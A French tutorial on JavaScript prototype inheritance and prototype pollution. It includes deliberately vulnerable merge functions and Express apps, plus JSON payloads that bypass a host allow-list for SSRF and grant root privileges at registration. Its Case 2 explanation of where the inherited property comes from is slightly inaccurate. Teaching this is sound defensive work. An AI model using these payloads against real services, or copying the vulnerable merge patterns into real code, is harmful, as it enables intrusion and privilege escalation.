Les Fondements de l'Héritage par Prototype
Contrairement aux langages orientés objet traditionnels basés sur des classes, JavaScript utilise un modèle d'héritage dynamique fondé sur les prototypes. Chaque objet possède un lien interne vers un autre objet appelé son prototype. Voici différentes approches pour instancier des objets et définir leurs comportements :
// Approche 1 : Fonction constructeur classique
function Employe(nom, departement) {
this.nom = nom;
this.departement = departement;
}
Employe.prototype.travailler = function() {
console.log(`${this.nom} est en train de travailler dans ${this.departement}.`);
};
// Approche 2 : Syntaxe de classe (ES6)
class Manager {
constructor(nom, equipe) {
this.nom = nom;
this.equipe = equipe;
}
diriger() {
console.log(`${this.nom} dirige l'équipe ${this.equipe}.`);
}
}
// Approche 3 : Création littérale et Object.create
const baseProfil = {
afficherProfil() {
console.log(`Profil de ${this.nom}`);
}
};
const utilisateur = Object.create(baseProfil);
utilisateur.nom = "Alice";
Peu importe la syntaxe utilisée, le mécanisme sous-jacent reste identique. Lorsqu'on accède à une propriété ou une méthode, le moteur JavaScript remonte la chaîne de prototypes si elle n'existe pas sur l'objet lui-même.
Analysons les relations internes :
Employe.prototypeest l'objet partagé par toutes les instences créées vianew Employe().Employe.__proto__pointe versFunction.prototype, carEmployeest elle-même une fonction, donc une instance deFunction.Employe.prototype.__proto__pointe versObject.prototype, qui est le sommet de la chaîne pour la plupart des objets.
Il est crucial de comprendre que la réassignation complète du prototype modifie le comportement pour les futures instances, mais pas pour les instances déjà créées :
const Appareil = function() {};
Appareil.prototype.statut = "inactif";
const a1 = new Appareil();
// Réassignation du prototype
Appareil.prototype = {
statut: "actif",
modele: "X100"
};
const a2 = new Appareil();
console.log(a1.statut); // "inactif"
console.log(a1.modele); // undefined
console.log(a2.statut); // "actif"
console.log(a2.modele); // "X100"
De même, il faut distinguer le prototype de l'instance de celui de la fonction constructeur. Une instance hérite des propriétés du prototype de son constructeur, et non des propriétés statiques de la fonction elle-même :
const Transport = function() {};
Object.prototype.methodeA = () => console.log('A');
Function.prototype.methodeB = () => console.log('B');
const vehicule = new Transport();
vehicule.methodeA(); // Fonctionne (hérite de Object.prototype)
// vehicule.methodeB(); // Échoue (vehicule n'hérite pas de Function.prototype)
Transport.methodeA(); // Fonctionne
Transport.methodeB(); // Fonctionne (Transport est une instance de Function)
Mécanisme de la Pollution de Prototype
La pollution de prototype survient lorsqu'une application permet à un attaquant d'injecter des propriétés arbitraires dans Object.prototype. Cela se produit généralement via des fonctions de fusion ou de copie d'objets qui ne filtrent pas les clés spéciales comme __proto__, constructor ou prototype.
function fusionnerProfonde(cible, source) {
for (const cle in source) {
if (Object.prototype.hasOwnProperty.call(source, cle)) {
if (typeof source[cle] === 'object' && source[cle] !== null) {
if (!cible[cle] || typeof cible[cle] !== 'object') {
cible[cle] = {};
}
fusionnerProfonde(cible[cle], source[cle]);
} else {
cible[cle] = source[cle];
}
}
}
}
const configuration = {};
const payloadAttaquant = JSON.parse('{"__proto__": {"niveauAcces": "admin"}}');
fusionnerProfonde(configuration, payloadAttaquant);
const nouvelleConfig = {};
console.log(nouvelleConfig.niveauAcces); // "admin" - L'objet global est pollué
Si l'on avait utilisé une assignation directe (const obj = { __proto__: { x: 1 } }), JavaScript aurait interprété __proto__ comme le lien de prototype interne. Cependatn, JSON.parse traite __proto__ comme une simple chaîne de caractères représentant une clé de dictionnaire, permettant ainsi à la fonction de fusion de l'assigner et de modifier Object.prototype.
Études de Cas et Exploitation
Cas 1 : Contournement de SSRF via Pollution
Considérons une application Node.js utilisant Express, qui agit comme un proxy. Elle vérifie si l'hôte cible est autorisé avant de faire la requête. Une fonction de mise à jour des préférences utilisateur est vulnérable.
const express = require("express");
const axios = require("axios");
const app = express();
app.use(express.json());
const listeBlanche = {
"api.publique.com": true,
"partenaire.com": false
};
function appliquerModifications(destination, origine) {
for (const k in origine) {
// Filtre de sécurité naïf
if (k.includes("proto")) continue;
if (typeof origine[k] === 'object' && origine[k] !== null) {
appliquerModifications(destination[k] || {}, origine[k]);
} else {
destination[k] = origine[k];
}
}
}
app.post("/preferences", (req, res) => {
appliquerModifications(listeBlanche, req.body);
res.send("Mise à jour enregistrée");
});
app.get("/proxy", async (req, res) => {
const urlCible = req.query.url;
const hote = new URL(urlCible).hostname;
if (!listeBlanche[hote]) {
return res.status(403).send("Hôte non autorisé");
}
const resultat = await axios.get(urlCible);
res.send(resultat.data);
});
Le filtre bloque la chaîne "proto", empêchant l'utilisation directe de __proto__. Cependant, il est posible d'utiliser la chaîne de prototypes via constructor. En envoyant la requête suivante à /preferences :
{
"constructor": {
"prototype": {
"127.0.0.1": true
}
}
}
Cela ajoute la propriété 127.0.0.1 avec la valeur true à Object.prototype. Lorsque le proxy vérifie listeBlanche["127.0.0.1"], il ne la trouve pas sur l'objet lui-même, mais la récupère via la chaîne de prototypes, contournant ainsi la restriction et permettant une attaque SSRF vers http://127.0.0.1:3000/flag.
Cas 2 : Élévation de Privilèges lors de l'Inscription
Dans un autre scénario, un endpoint d'inscription fusionne les données fournies par l'utilisateur avec un objet de base. Le système vérifie un code d'invitation si l'utilisateur demande des droits d'administration.
const baseCompte = { role: "standard", actif: true };
const comptes = [];
app.post("/register", (req, res) => {
const donnees = req.body;
if (!donnees.pseudo || !donnees.motDePasse) {
return res.status(400).send("Champs requis manquants");
}
// Logique de vérification du code
if (donnees.estRoot && donnees.codeSecret !== "MASTER_KEY") {
donnees.estRoot = false;
}
// Fusion vulnérable
const nouveauCompte = Object.assign({}, baseCompte, donnees);
comptes.push(nouveauCompte);
res.send("Compte créé");
});
La faille réside dans l'ordre des opérations. La vérification donnees.estRoot est effectuée avant la fusion. Si l'attaquant envoie :
{
"pseudo": "intrus",
"motDePasse": "azerty",
"__proto__": {
"estRoot": true
}
}
Lors de la vérification, donnees.estRoot est undefined (falsy), donc le bloc de validation du code est ignoré. Ensuite, Object.assign copie les propriétés. Bien que __proto__ ne soit pas copié comme une propriété propre, l'objet résultant nouveauCompte hérite de estRoot: true depuis Object.prototype, accordant ainsi les privilèges root à l'utilisateur.